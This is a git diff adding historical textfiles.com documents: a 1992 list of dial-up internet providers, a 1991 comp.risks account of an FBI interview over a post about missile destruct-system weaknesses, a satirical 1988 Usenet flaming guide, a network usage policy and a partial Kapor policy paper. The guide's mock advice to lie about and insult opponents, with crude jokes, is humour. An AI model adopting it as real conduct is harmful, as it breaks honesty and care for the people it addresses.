+<< jvnc-tiger >> +name ----------> The John von Neumann Computer Network - Dialin' Tiger +dialup --------> contact for number +area codes ----> 201, 203, 215, 401, 516, 609, 908 +local access --> Princeton & Newark, NJ; Philadelphia, PA; Garden City, NY; + Bridgeport, New Haven, & Storrs, CT; Providence, RI +long distance -> provided by user +services ------> ftp, telnet, SLIP, feeds, optional shell +fees ----------> $99/month + $99 startup (PC or Mac SLIP software included -- + shell is additional $21/month) +email ---------> info@jvnc.net +voice ---------> (800) 35-TIGER, (609) 258-2400 +ftp more info -> n/a + +<< jvnc >> +name ----------> The John von Neumann Computer Network - Tiger Mail & Dialin' + Terminal +dialup --------> contact for number +area codes ----> 800 +local access --> anywhere (800) service is available +long distance -> included +services ------> email and newsfeed or terminal access only +fees ----------> $19/month + $10/hour + $36 startup (PC or Mac SLIP software + included) +email ---------> info@jvnc.net +voice ---------> (800) 35-TIGER, (609) 258-2400 +ftp more info -> n/a + +<< michnet >> +name ----------> Merit Network, Inc. -- MichNet project +dialup --------> contact for number or telnet hermes.merit.edu or ftp + nic.merit.edu:/michnet/how.to.get.connected/*.nos +area codes ----> 313, 517, 616, 906, PDN +local access --> Michigan; Boston, MA; Wash. DC +long distance -> SprintNet, Autonet, Michigan Bell packet-switch network +services ------> shell, gopher, telnet, ftp, SLIP, outbound SprintNet, + Autonet and Ann Arbor dialout +fees ----------> $35/month + $40 signup +email ---------> info@merit.edu +voice ---------> 313-764-9430 +ftp more info -> nic.merit.edu:/ + +<< mindvox >> +name ----------> MindVOX +dialup --------> (212) 988-5030 'mindvox' 'guest' +area codes ----> 212, 718 +local access --> NY: New York City +long distance -> provided by user +services ------> conferencing system, shell, ftp, telnet, irc, gopher, + archie, hytelnet, UUCP feeds, Archives, BBS +fees ----------> Between $10 - $15 per month. No startup. +email ---------> info@phantom.com +voice ---------> 212-988-5987 +ftp more info -> n/a + +<< msen >> +name ----------> MSen +dialup --------> contact for number +area codes ----> 313 +local access --> All of SE Michigan (313) +long distance -> provided by user +services ------> shell, WAIS, gopher, telnet, ftp, SLIP +fees ----------> $5/month + $2/hr or $20/mo for 20 hr +email ---------> info@msen.com +voice ---------> 313-998-4562 +fax -----------> 313-998-4563 +ftp more info -> ftp.msen.com:/pub/vendor/msen + +<< nearnet >> +name ----------> NEARnet +dialup --------> contact for numbers +area codes ----> 508, 603, 617 +local access --> Boston, MA; Nashua, NH +long distance -> provided by user +services ------> SLIP, email, feeds, dns +fees ----------> $250/month +email ---------> nearnet-join@nic.near.net +voice ---------> 617-873-8730 +ftp more info -> nic.near.net:/docs + +<< netcom >> +name ----------> Netcom Online Communication Services +dialup --------> (310) 842-8835, (408) 241-9760, (408) 459-9851, (415) + 328-9940, (510) 426-6860, (510) 865-9004, (619) 234-0524 + 'guest' +area codes ----> 213, 310, 408, 415, 510, 818 +local access --> CA: San Francisco Bay Area, Santa Cruz, Los Angeles, San + Diego +long distance -> provided by user +services ------> shell, ftp, telnet, irc, WAIS, gopher, SLIP, feeds +fees ----------> $19.50/month + $15.00 signup +email ---------> info@netcom.com +voice ---------> 408-554-UNIX +ftp more info -> n/a + +<< OARnet >> +name ----------> OARnet +dialup --------> send e-mail to nic@oar.net +area codes ----> 614, 513, 419, 216, 800 +local access --> OH: Columbus, Cincinnati, Cleveland, Dayton +long distance -> 800 service +services ------> email, ftp, telnet, newsfeed +fees ----------> $4.00/hr to $330.00/month; call for code or send email +email ---------> nic@oar.net +voice ---------> 614-292-8100 +fax -----------> 614-292-7168 +ftp more info -> n/a + +<< panix >> +name ----------> PANIX Public Accss Unix +dialup --------> (718) 832-1525 'newuser' +area codes ----> 212, 718 +local access --> New York City, NY +long distance -> provided by user +services ------> shell, ftp, telnet, feeds +fees ----------> $19/month or $208/year + $40 signup +email ---------> alexis@panix.com, jsb@panix.com +voice ---------> 212-877-4854 [Alexis Rosen], 718-965-3768 [Jim Baumbach] +ftp more info -> n/a + +<< portal >> +name ----------> The Portal System +dialup --------> (408) 725-0561 'new', 'info', 'help' +area codes ----> 408, 415, PDN +local access --> CA: Cupertino, Mountain View +long distance -> SprintNet: $2.50/hour off-peak, $7-$10/hour peak; Tymnet: + similar +services ------> shell, ftp, telnet, IRC, UUCP, feeds, bbs +fees ----------> $18.95/month + $19.95 signup +email ---------> cs@cup.portal.com, info@portal.com +voice ---------> 408-973-9111 +ftp more info -> n/a +off-peak ------> 6pm to 7am + weekends and holidays + +<< psi-gds >> +name ----------> PSI's Global Dialup Service (GDS) +dialup --------> send email to numbers-info@psi.com +area codes ----> PDN +local access --> +long distance -> included +services ------> telnet, rlogin +fees ----------> $39/month + $39 startup +email ---------> all-info@psi.com, gds-info@psi.com +voice ---------> 703-620-6651 +fax -----------> 703-620-4586 +ftp more info -> ftp.psi.com:/ + +<< psilink >> +name ----------> PSILink - Personal Internet Access +dialup --------> send email to numbers-info@psi.com +area codes ----> PDN +local access --> +long distance -> included +services ------> email and newsfeed, ftp +fees ----------> $29/month + $19 startup (PSILink software included) +email ---------> all-info@psi.com, psilink-info@psi.com +voice ---------> 703-620-6651 +fax -----------> 703-620-4586 +ftp more info -> ftp.psi.com:/ + +<< rock-concert >> +name ----------> Rock CONCERT Net +dialup --------> contact for number +area codes ----> 704, 919 +local access --> NC: Asheville, Chapel Hill, Charlotte, Durham, Greensboro, + Greenville, Raleigh, Winston-Salem, Research Triangle Park +long distance -> provided by user +services ------> shell, ftp, telnet, irc, gopher, wais, feeds, SLIP +fees ----------> $30/month + $50 signup +email ---------> info@concert.net +voice ---------> 919-248-1999 +ftp more info -> ftp.concert.net + +<< sugar >> +name ----------> NeoSoft's Sugar Land Unix +dialup --------> 713-684-5900 +area codes ----> 713 +local access --> TX: Houston metro area +long distance -> provided by user +services ------> bbs, shell, ftp, telnet, irc, feeds, UUCP +fees ----------> $29.95/month +email ---------> info@NeoSoft.com +voice ---------> 713-438-4964 +ftp more info -> n/a + +<< well >> +name ----------> The Whole Earth 'Lectronic Link +dialup --------> (415) 332-6106 'newuser' +area codes ----> 415, PDN +local access --> Sausalito, CA +long distance -> Compuserve Packet Network: $4/hour +services ------> shell, ftp, telnet, bbs +fees ----------> $15.00/month + $2.00/hr +email ---------> info@well.sf.ca.us +voice ---------> 415-332-4335 +ftp more info -> n/a + +<< world >> +name ----------> The World +dialup --------> (617) 739-9753 'new' +area codes ----> 617, PDN +local access --> Boston, MA +long distance -> Compuserve Packet Network: $5.60/hour +services ------> shell, ftp, telnet, irc +fees ----------> $5.00/month + $2.00/hr or $20/month for 20 hours +email ---------> office@world.std.com +voice ---------> 617-739-0202 +ftp more info -> world.std.com:/world-info/basic.info + +- ------------------------------ + +~From: PDIAL -7- +~Subject: How People Can Get The PDIAL (This List) + + +USENET: The PDIAL list is posted regularly to alt.internet.access.wanted, +alt.bbs.lists, ba.internet, and news.answers. + +EMAIL: + + From the Information Deli archive server (most up-to-date): + To receive the current edition of the PDIAL, send email with the subject + "Send PDIAL" to "info-deli-server@netcom.com". To subscribe to a list + which receives future editions as they are published, send email with + the subject "Subscribe PDIAL" to "info-deli-server@netcom.com". To + receive both the most recent and future editions, send both messages. + + From the news.answers FAQ archive: + Send email with the message "send usenet/news.answers/pdial" to + "mail-server@pit-manager.mit.edu". For help, send the message "help" + to "mail-server@pit-manager.mit.edu". + +FTP ARCHIVE SITES (PDIAL and *lots* of other useful information): + + As part of a collection of public access lists: + GVL.Unisys.COM:/pub/pubnet/pdial [128.126.220.104] + + As part of the ba.internet FAQ: + wiretap.spies.com:/ba.internet/Services/%LISTS/PDIAL/ [130.43.3.3] + + As part of an Internet access compilation file: + liberty.uc.wlu.edu:/pub/lawlib/internet.access [137.113.10.35] + + As part of the news.answers FAQ archive: + pit-manager.mit.edu:/pub/usenet/news.answers/pdial [18.172.1.27] + +- ------------------------------ + +~From: PDIAL -8- +~Subject: Appendix A: Finding Public Data Network (PDN) Access Numbers + +Here's how to get local access numbers or information for the various +PDNs. Generally, you can contact the site you're calling for help, too. + +IMPORTANT NOTE: Unless noted otherwise, set your modem to 7E1 (7 data +bits, even parity, 1 stop bit) when dialing to look up access numbers +by modem as instructed below. + + +BT Tymnet +- --------- + +For information and local access numbers, call 800-937-2862 (voice) or +215-666-1770 (voice). + +To look up access numbers by modem, dial a local access number, hit + and 'a', and enter "information" at the "please log in:" prompt. + + +Compuserve Packet Network +- ------------------------- + +You do NOT have to be a Compuserve member to use the CPN to dial other +services. + +For information and local access numbers, call 800-848-8199 (voice). + +To look up access numbers by modem, dial a local access number, hit + and enter "PHONES" at the "Host Name:" prompt. + + +PC Pursuit (SprintNet) +- ---------------------- + +PC Pursuit may be used to call a modem in any of 44 major metro areas +in the US from local access numbers around the country. As such, it +can be used to access most of the providers listed in the PDIAL (those +with no other PDN access or even those which are accessible by other PDNs). + +For information and registration, call 800-736-1130 (voice) or +800-877-2006 (data). More information is also available on the PC +Pursuit support BBS (see below). + +To look up access numbers by modem, dial 800-546-1000, hit + at 1200 baud or '@' at 2400 baud. Enter "MAIL" +at the "@" prompt, then "PHONES" at the "USER NAME:" prompt, and +"PHONES" at the "PASSWORD:" prompt. + +The PC Pursuit support BBS provides a great deal of information about +PC Pursuit, including rates, terms and conditions, outdial numbers, etc. + +To access the PC Pursuit support BBS, dial a local access number and +hit at 1200 baud or '@' at 2400 baud. Change +modem parameters to 8N1, and enter "C PURSUIT" at the "@" prompt. + + +PSINet +- ------ + +For information, call 800-82PSI82 (voice) or 703-620-6651 (voice), or +send email to "all-info@psi.com". For a list of local access numbers +send email to "numbers-info@psi.com". + +- ------------------------------ + +~From: PDIAL -9- +~Subject: Copyright and Distribution Of The PDIAL; Other Notices + +Copyright 1992 Peter Kaminski. + +This document may be distributed in its entirety by any means, and a +fee may be charged for its distribution, but it may not be sold +without prior permission. + +I make no representations about the suitability or accuracy of this +document for any purpose. It is provided "as is" without express or +implied warranty. + +UPDATES AND CORRECTIONS: Send new or updated entries in the format +used here to "kaminski@netcom.com". Also include an email address to +which I can send requests for more information. + +- -- +Peter Kaminski | Internet: kaminski@netcom.com +The Information Deli | CIS: 71053,2155 +"connecting people" | AMIX: PKAMINSKI + +To get the Public Dialup Internet Access List, send email with the +subject "Send PDIAL" to "info-deli-server@netcom.com". + +- ------------------------------ + +End of PDIAL +************ + + +------- End of Blind-Carbon-Copy + diff --git a/textfiles.com/internet/posting.rsk b/textfiles.com/internet/posting.rsk new file mode 100644 index 00000000..b14b807b --- /dev/null +++ b/textfiles.com/internet/posting.rsk @@ -0,0 +1,84 @@ +From: mmm@cup.portal.com +Subject: The RISKS of Posting to the Net +Date: Thu, 23 May 91 11:58:07 PDT +Newsgroups: comp.risks + +I just had an interesting visit from the FBI. It seems that a posting I made +to sci.space several months ago had filtered through channels, caused the FBI +to open (or re-open) a file on me, and an agent wanted to interview me, which I +did voluntarily. + +My posting concerned destruct systems for missiles. I had had a chance to look +at the manual on the destruct system used on the Poseidon and Polaris A3 +missiles, and was shocked at the vulnerability of the system which triggers the +system. In my posting, I commented that the system seemed less secure than +many garage-door openers. It uses a set of three tones, in which two tones are +presented, then one tone is taken away and the third tone is applied. The only +classified parts of the system are the frequencies of the second and third +tones. + +On the net, I asked whether tone control systems like this are still used for +missile destruct systems. By e-mail, I received an answer from a person who +was currently designing a destruct system, and he indeed confirmed that not +only are tone-control destruct systems still used, they are a requirement of +some test ranges. (However, he thought it would be difficult to send a bogus +destruct command because of the need to blot out one of the tones which is +transmitted continuously from ground control; it would be far easier to insert +a bogus flight control command and send the missile toward a city.) + +A few months later, I received a message from my sysop asking me to call a +person at Patrick Air Force Base who wanted to get in touch with me. This guy +was real concerned that I had revealed "sensitive" information. He said he +kept his copy of my posting in his safe! I guess he didn't know that it had +already been distributed throughout the industrialized world. He didn't want +to say anything about the subject over the phone. He asked whether I would be +willing to be interviewed by an investigator. I agreed, and he said I would be +contacted within 24 hours by someone locally. That was the last I heard of +him. I suppose he talked to someone who knew more about destruct systems, and +was reassured that it isn't possible because it hasn't happened yet. + +Two days ago, more than half a year after my original posting, I got a message +that someone from the Palo Alto office of the FBI wanted to talk to me. I +called him, and we agreed to meet this morning. He didn't seem too concerned +with the technical aspects of my posting -- I guess he also had his own experts +to consult. He mostly seemed to be checking me out to see if I was plotting to +blow up a missile. He was also very interested in how the net works. I told +him all about the net. He wanted to know if there was any sort of censorship +or control over what goes on the net, and I explained it was mostly +after-the-fact control, for example if you post a commercial advertisement the + management of your site will get a ton of e-mail asking that your account be +cancelled. + +He asked whether someone could post an offer for $10,000 for blueprints of a +missile or something, and I said there isn't any sort of censorship that would +prevent that sort of thing. But the closest thing to a request for information +on performing a crime that I knew of was a couple years ago when someone asked +in the chemistry newsgroup about methods for electrically igniting a chemical. +I told him about the controversy that caused, though I omitted my role in +answering the original poster's question :-) + +I also told him about newsgroups like alt.drugs, rec.pyrotech, etc. He took +copious notes. He asked about the equipment needed to access the net. I told +him about computers and modems and Portal. I should contact Portal management +to see if I get a bonus if he signs up as a customer :-) + +The only surprise came at the end of the interview. He asked if I had any +questions. I said I was curious how my posting ended up in his hands. Before +he could answer, I said I suppose you were contacted by that guy at Patrick Air +Force Base. This surprised him, and he said he knew of no involvement by +anyone at Patrick Air Force Base. I asked how he _did_ know about my posting, +and he said he couldn't answer that. I then went on to tell him about the +controversy over Uunet, and their role in supplying archives of Usenet traffic +on tape to the FBI, and he seemed surprised by that also. + +So what's the RISK here? None to me, because I was a perfectly innocent party. +I suppose some people would be really concerned to learn that their postings to +the net are being monitored for possible illegal activity. But I would be far +more concerned if they weren't. The fact that two independent investigations +were started is reassuring to me, because it shows that the government is not +totally brain-dead with regard to possible threats to their big projects. +Certainly if _I_ were FBI director, I would consider Usenet to be a great +resource. I'd learn all about computer crime, recreational drugs that aren't +illegal yet, low-tech ways of building bombs, how to contact Earth First!, +etc., etc. + diff --git a/textfiles.com/internet/powrpost.net b/textfiles.com/internet/powrpost.net new file mode 100644 index 00000000..b216dce2 --- /dev/null +++ b/textfiles.com/internet/powrpost.net @@ -0,0 +1,170 @@ +From singer@constance.rutgers.edu Tue May 24 04:54:09 1988 +From: singer@constance.rutgers.edu (Hal Singer) +Subject: How to Properly Post +Date: 24 May 88 09:54:09 GMT +Organization: Rutgers Univ., New Brunswick, N.J. + + The USENET Guide to Power Posting + +1. Conspiracies abound: If everyone's against you, the reason + can't *possibly* be that you're a fuckhead. There's obviously + a conspiracy against you, and you will be doing the entire + net a favor by exposing it. Be sure to mention the CIA, FBI + Oliver North and the Army as co-conspiritors. + +2. Lawsuit threats: This is the reverse of Rule #1. Threatening a + lawsuit is always considered to be in good form. "By saying that + I've posted to the wrong group, Charlie has libeled me, slandered + me, and sodomized me. See you in court, Charlie." + +3. Force them to document their claims: Even if Jane Jones + states outright that she has menstrual cramps, you should demand + documentation. If Newsweek hasn't written an article on Jane's + cramps, then Jane's obviously lying. + +4. Use foreign phrases: French is good, but Latin is the lingua franca + of USENET. You should use the words "ad hominem" at least three + times per article. Other favorite Latin phrases are "ad nauseam", + "vini, vidi, vici", "E Pluribus Unum" and "fetuccini alfredo". + +5. Tell 'em how smart you are: Why use intelligent arguments to + convince them you're smart when all you have to do is tell them? + State that you're a member of Mensa or Mega or Dorks of America. + Tell them the scores you received on every exam since high school. + "I got an 800 on my SATs, LSATs, GREs, MCATs, and I can also spell + the word 'premeiotic' ". + +6. Be an armchair psychologist: You're a smart person. You've heard of + Freud. You took a psychology course in college. Clearly, you're + qualified to psychoanalyze your opponent. "Polly Purebread, by + using the word 'zucchini' in her posting, shows she has a bad case + of penis envy." + +7. Accuse your opponent of censorship. It is your right as an American + citizen to post whatever the hell you want to the net (as guaranteed + by the 37th Amendment, I think). Anyone who tries to limit your + cross-posting or move a flame war to email is either a Communist, a + fascist, or both. + +8. Doubt their existence: You've never actually seen your opponent, + have you? And since you're the center of the universe, you should + have seen them by now, shouldn't you? Therefore, THEY DON'T EXIST! + Call'em an AI project, to really piss them off. + +9. Laugh at whatever they write. A good "HAHAHAHAHAHAHAHAHAHAHAHAHAHA" + should intimidate just about anyone. + +10. When in doubt, insult: If you forget the other rules, remember + this one. At some point during your wonderful career on USENET + you will undoubtedly end up in a flame war with someone who is + better than you. This person will expose your lies, tear apart your + arguments, make you look generally like a bozo. At this point, + there's only one thing to do: insult the dirtbag!!! "Oh yeah? + Well, you do strange things with vegetables." + +11. And, if all else fails, remember that you can always fall back on the + favorite defense of Soc.women: "Who cares what YOU think -- this + is Soc.WOMEN!". Add "DAMMIT!" for effect. + +12. Be sure to have a cute signature that proclaims that you are a man + basher. No one will respect you unless it's clear that you hate + men. + +13. Call'em a "Pman" if you can't think of anything. Tell the + linguists to stuff it -- YOU know a diminutive when you see it. + +14. Make things up about your opponent: It's important to make your lies + sound true. Preface your argument with the word "clearly." + "Clearly, Fred Flooney is a liar, and a dirtball to boot." + +15. Cross-post your article: Everyone on the net is just waiting for + the next literary masterpiece to leave your terminal. From + rec.arts.wobegon to alt.gourmand, they're all holding their breaths + until your next flame. Therefore, post everywhere. + +16. Use the smiley to your advantage. You can call anyone just about + anything as long as you include the smiley. On really nasty attacks + add "No flames, please". When they bitch, call them an ass for not + being able to recognize sarcasm when they see it. + +17. Threaten to destroy Soc.men if your opponent refuses to give up. + This at least gives you an appearance of power, even if nobody on + the net gives a damn about what goes on in soc.men. + +18. Should you post something exceedingly stupid and later regret it, don't + worry. You needn't cancel the article. That only shows what a wimp + you really are. Deny that you ever sent it. "It must be a + forgery!" (Yea, that's the ticket, it's a forgery!) "Someone broke + into my account and sent it!" "It's that damn backbone cabal out to + get me!" Take your pick, they've all been used before. + +19. A really cheap shot is to call you opponent a "facist". By itself, it + really does nothing. But, when used often, and in enough articles, + it can make you a net-legend. + +20. And finally, never edit your newsgroup line when following up (unless + you're expanding it). This drives 'em wild. Be sure to follow up as + many articles as possible, even if you have nothing to say. The + important thing is to get "exposure" so that you can be called a + "regular" in your pet newsgroup. Never change the ">" symbol when + following up; that's for wimps. Dump a hundred lines of "INEWS FODDER" + in every article. + +Now that you know the ways to properly post on USENET, let's try +an example: + +In article <1452@sab.ck>, Bill Netter writes: +> Dear Sally, + +I object to your use of the word "dear". It shows you are a +condescending, sexist Pman. Also, the submissive tone you use shows +that you like to be tied down and flagellated with licorice whips. + +> While I found your article "The Effect of Lint on Western Thought" +> to be extremely thought-provoking, + +"Thought-provoking"? I had no idea you could think, you rotting piece +of swamp slime. :-) (No flames, please) + +> it really shouldn't have been +> posted in Soc.women. + +What? Are you questioning my judgment? I'll have you know that I'm +a member of the super-high-IQ society Menstruate. I got an 800 on my +PMS exam. Besides, what does a Pman like yourself know of such things. +This is Soc.WOMEN, DAMMIT! + +Your attempts constitute nothing less than censorship. There is a +conspiracy against me. You, Colin, Charlie and the backbone cabal have been +constantly harassing me by email. This was an ad hominem attack! If this +doesn't stop at once, I'll crosspost a thousand articles to soc.men. + +> Perhaps you should have posted it in misc.misc. + +It is my right, as granted in the Bill of Rights, the Magna Carta, the +Bible and the Quran, to post where ever I want to. Or don't you +believe in those documents, you damn fascist? Perhaps if you didn't +spend so much time sacrificing virgins and infants to Satan, you would +have realized this. + +> Your article would +> be much more appropriate there. + +Can you document this? I will only accept documents notarized by my +attorney, and signed by you in your blood. Besides, you don't really exist +anyway, you Pseudo, you. + +> If I can be of any help in the future, just drop me a line. + +HAHAHAHAHAHAHHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHA! + +> Bill. + +Sally Sourpuss + +"If we can send one man to the moon, why can't we send them all?" + +Soc.women Women WOMEN, DAMMIT! + + + \ No newline at end of file diff --git a/textfiles.com/internet/prepnet b/textfiles.com/internet/prepnet new file mode 100644 index 00000000..8f72bf68 --- /dev/null +++ b/textfiles.com/internet/prepnet @@ -0,0 +1,120 @@ +PREPnet Acceptable Use Policy + +The intent of this policy is to clarify certain cases which are +consistent with the purposes of PREPnet, not to exhaustively enumerate +such possible uses. For a particular use of PREPnet to be acceptable, +all of the following conditions must be met: + +1. All use must be consistent with the purposes of PREPnet as stated in +the Pennsylvania Research and Economic Partnership Network Consortium +Charter. + +2. All data on PREPnet must originate or terminate at a member or +affiliate institution in Pennsylvania. + +--- + +Pennsylvania Research Partnership Network Consortium Charter + +The Pennsylvania Research Partnership Network Consortium [the +Consortium] is an organization of research institutions within +Pennsylvania whose goals are to enhance and support research activities +within the State by providing and promoting high-speed data +communications facilities and services for these institutions, and thus +foster economic development within Pennsylvania. + +Purposes of the Consortium + +The purposes of the Consortium include the following: +~ To increase the opportunities for collaboration in academic research +between colleagues at the various research institutions throughout the +Commonwealth of Pennsylvania. +~ To make it feasible for research colleagues in the state to exchange +not only simple messages and texts, but also significant amounts of +data, including graphics images, experimental data, etc. +~ To provide better access throughout the Commonwealth to research +resources at the universities and in the industrial firms which are +their research partners. (Examples of such resources would include the +computing facilities of the Pittsburgh Supercomputing Center, catalogs +of library holdings of the major universities, and, possibly, +specialized data bases of industrial partners.) +~ To contribute to the economic development of the Commonwealth by +facilitating the transfer of new technologies from laboratories and +research centers to businesses and industries. +~ To provide interconnection of the statewide network with similar +regional and national networks, such as the National Science Foundation +backbone network, to extend these opportunities on a national scale. + +Definitions + +PRPnet refers to the high speed data communication network to be +established among the Consortium members in pursuit of the +above-mentioned purposes. + +The PRPnet Unit of the the MPC Corporation consists of the people +under its auspices who have responsibility for the on-going coordinating +and operational activities of PRPnet. + +The MPC Corporation is a joint-venture of Carnegie Mellon University +and the University of Pittsburgh, formed as a vehicle for cooperative + work between those universities. + +Activities + +The initial activity by which the Consortium will pursue these ends is +PRPnet itself, the Pennsylvania Research Partnership Network. PRPnet is +established as a cooperative effort of the Consortium members, +government, and industry. + +Structure + +The charter institutions of the Consortium, a mix of public and +private institutions, are: +~ Carnegie Mellon University +~ Drexel University +~ Lehigh University +~ Pennsylvania State University +~ Temple University +~ University of Pennsylvania +~ University of Pittsburgh + +The Consortium is governed by a Steering Committee comprised of +representatives of its charter institutions and the Co-Directors of the +PRPnet unit of the MPC Corporation. + +The PRPnet unit of the MPC Corporation, located in Pittsburgh, +acts to coordinate the activities of the Consortium with its business +and governmental associates, to serve as business agent for the +Consortium, and to implement PRPnet. + +The Pittsburgh Supercomputing Center assists the Consortium by +supporting the PRPnet unit of the MPC Corporation by providing +technical and administrative staff support for the Consortium and +network gateway functions for PRPnet. + +Acceptance + +By signing below, the institution hereby expresses its commitment +to participate as a charter member of the Pennsylvania Research +Partnership Network Consortium, as defined in this document and in +Attachments A,B,C, and D, accepting the duties and responsibilities +as well as the benefits of such membership. + + +Signed:__________________________________________ + + + +Title:____________________________________________ + + + +Representing:_____________________________________ + + + +Date:____________________________________________ + + + + diff --git a/textfiles.com/internet/privatiz.nre b/textfiles.com/internet/privatiz.nre new file mode 100644 index 00000000..07d26efa --- /dev/null +++ b/textfiles.com/internet/privatiz.nre @@ -0,0 +1,296 @@ +"The Privatized NREN" + + Mitchell Kapor + Electronic Frontier Foundation + February 14, 1991 + + A Note on Terminology: + + Use of terms in discussions on networking is notoriously subject to +confusion. I have chosen here to refer to the Internet as the current +networkof networks connected by the NSFNET backbone. Some are now +referring to this as the interim NREN. I have no quarrel with this usage, +but will not adopt it here. I am using a term of my own coining, the +national public network (NPN), to refer to the (still hypothetical) +convergence of the NREN, the analog telephony public switched network +(PSN) and its narrowband and broadband digital successor(s), the cable +television distribution network, etc. + + + Author's Note: + + In the small amount of space which the call for this paper required it is +not possible to provide the necessary background to introduce and explain +the context of various of the key stakeholders, concepts, and technical +vocabulary employed. Those readers seeking further elucidation are +encouraged to contact the author directly at the address supplied below. + + It should also be noted that the opinions expressed herein are the +author's personal ones. Organizational affiliation is provided for purposes +of identification only. + + + Recommendation #1 + + The time has come to facilitate the transition of the Internet into the +first phase of a national public network (NPN) by enabling a graceful +transition to control and operation by the private sector. + + One of the successful outcomes of the Internet is that wide-area +networking based on TCP/IP protocols has evolved from a research +prototype to a level of maturity in which, if hardly ultimate, is sufficiently +developed and robust to stand on its own. As NSF and other government +agencies increasingly turn to new research on high-speed networking, the +time has come to move current infrastructure into the private sector. + + Individual and institutional users, whether for-profit or non-profit, will +benefit from decreasing costs and increasing levels of service through the +dynamics of open competition in the marketplace. At the same time, the +lapsing of usage restrictions will encourage the development of new +varieties of commercial information and communication services which +are offered over the network. + + Network access is becoming a commodity which should be purchased +like any other computer or telecommunications service. The role of NSF +or other government agencies with respect to providing network access +should be provided on the same basis as they provide support for other +types of computer equipment and services. + + This said, there are delicate questions as to how this transition is to be +accomplished. + + + Recommendation #2: + + + Insure a level playing field for commercial, not for profit, and non-profit +TCP/IP internetworking companies and institutions. + + The infrastructure should be one in which open competition is +encouraged. + + A critical question which will determine whether there will be a +competitive market for TCP/IP internetworking is whether and under +what conditions will it be possible for an internetworking carrier to +connect to the network. + + Will a single private party such as ANS effectively control access to the +network through control of the backbone? To the extent that backbone +access is required to connect to networks of other countries or to +federally controlled networks as well as to mid-level networks, this is an +even more serious matter. If so, and if the party has no obligation, legal or +contractual, to provide interconnection, they could use this advantage as a +competitive weapon to stifle the development of other carriers. This +would be undesirable. + + The Internet, like other networks such as the voice telephone network, +derives value from the universality of its reach. Any user within its +universe may readily communicate with any other user. If a situation arose +in which sub-communities of users were threatened with isolation from +the rest of the net simply because their mid-level carrier (whether a +regional non-profit cooperative, or national profit-seeking entity) was +being arbitrarily denied access to the rest of the net, it would be an abuse +of the public interest by the party exercising this manipulative power. + + A contractual obligation might be one which the NSF imposed in a +further agreement between it and the party to cover the period +subsequent to the expiration of the present NSF-Merit-ANS agreements. + + A legal obligation might be one imposed by a government agency such as +the FCC to require interconnection. A model for this could be drawn from +the rules for non-structural safeguards called for by the FCC in its +Computer Inquiry III. It would be desirable to achieve the same ends as +mandated by CI III's Open Network Architecture (ONA) without involving +the constant, costly government involvement which mediates between +the entrenched interests of monopoly owners of transmission facilities on +the one hand and enhanced service providers on the other. + + It is my belief that the NSF has, in this critical transition period, a great +deal of leverage on all parties to secure some form of voluntary agreements +to these ends which would obviate the need to structure a highly-regulated +TCP/IP internetworking industry, which no one really wants to do. These +agreements should be committed in writing and made available to the +public in order to ensure accountability. + + For instance, it might be possible for MERIT/ANS, as a key stakeholder, +to voluntarily undertake some form of binding commitment which +guaranteed other parties the right to interconnect on an equitable basis. + + Note that the situation under discussion is not that of the right of a node +to connect to a carrier, but the obligation of carriers to provide equitable +interconnection to other carriers. This parallels the rights of long +distance telephone carriers such as MCI to connect to local exchange +carriers. + + The author understands that the implementation of such a framework +raises many large technical and policy issues which would need to be +undertaken in order to make an open interconnection scheme work. For +instance, there must be determined which services, in addition to basic IP +transport, would form the "basket" of basic services which were standard +to the entire infrastructure. Certainly naming services, but also emerging +user directory services, information provider services, accounting +services, and other as yet undefined services will need to be developed in +a cooperative fashion. + + Recommendation #3: + + Internetworking carriers should adopt a usage policies which explicitly +provide for non-interference with respect to the contents of user traffic +carried through the basic transport services. Carriers should also be +understood to have no liability for the content of these transmission. This +mirrors the position of the telephone companies and other common +carriers with respect to message content in those media. + + Note that other standards of care and liability, hence other usage +policies, may be called for in the provision of enhanced services such as +electronic mail, computer conferencing, etc. Unfortunately, space does +not permit a discussion of these important issues here. + + Adoption of this recommendation would be most consistent with the + first amendment right of free speech and freedom of expression. + + The policy mechanism by which this is to be achieved is not clear. It may +be that the common law would support such a stance, but this is +something which would only be known as the consequence of litigation. +While it may not be necessary to take any legal actions in advance to +achieve this goal, it is likely that there will be an atmosphere of +uncertainty as to whether the announced non-interference with content +policy will be upheld in the long term. + +I turn now to the issue of policies for the long-term NREN. + + Recommendation #4: + + Encourage information entrepreneurship through creation of NPN as an +open architecture platform with low barriers to entry for information +providers. + + There are important lessons to be learned from the rapid success of the +personal computer software industry. In the PC world, applications + developed as separate stratum from operating systems (the platform +layer). Apple and IBM enabled growth of huge markets like spreadsheets +and word processors by creating open architectures which encouraged +third parties to risk their own capital and put ingenuity to the test by +developing applications. The abstention of IBM and Apple from competing +with VisiCalc and Lotus 1-2-3 was a necessary factor in enabling the +growth of application markets. + + In the world of wide area networking and telecommunications there is +an opportunity to transplant these ideas with an expectation of equal +success as well, but it will require a bold new style of thinking and risk- +taking on the part of the existing stakeholders. + + We must regard the NPN infrastructure as a platform. This implies that +platform providers should not try to pre-empt competition by providing +services, but should create open architectures which encourage the entry +of new parties to create the applications. This does not mean that +platform providers such as the regional operating companies should be +denied the opportunity to participate, but it does mean that they should +free themselves from the burden of assuming they will have to develop the +enabling applications for this new platform. + + The key enabling applications for the new medium cannot be predicted +in advance. Let the market drive innovation by making experiments cheap +and lowering barriers to entry for providers. Competition provides rapid +sorting process as successful applications and services are rapidly +emulated and improved upon. The founders of Apple Computer did not +anticipate the spreadsheet. They created a platform in which 10,000 new +product ideas got a hearing in the market. Out of this, winners emerged +naturally and swiftly. A good platform will encourage a large number of +start-up organizations to take the risk themselves of developing a +sustainable application or service, but only if the platform is accessible to +them and if it is capable of reaching a large number of potential users on a +commercial basis. + + Today we understand the immense popularity with "early adopters" of +applications like wide-area electronic mail, computer conferencing, and +electronic publications on the existing infrastructure. Yet these +applications are caught in a peculiar limbo. The software is barely good +enough for a technically astute person to understand and use. For the +most part, users are not paying directly for these services. At the same +time the commercial opportunity to further develop these applications is +not widely perceived as so great as to cause firms to be willing to invest +heavily. + + What is needed is to stimulate the development of applications in a + controlled fashion to the point at which their full commercial viability +gains critical mass. What is needed are relatively inexpensive controlled +experiments which combine the implementation of next generation +infrastructure with a focused effort to create the next generation +applications prototypes. These efforts should be a very high priority not +only of the NREN but of the telephone companies as well in the +deployment of narrowband ISDN. + + One should not assume existing information providers will be the major +players. In PC's existing mainframe and minicomputer software houses +did not dominate PC software market. In fact, they were an insignificant +factor. Existing information services providers will clearly benefit from +the development of an NPN and should be 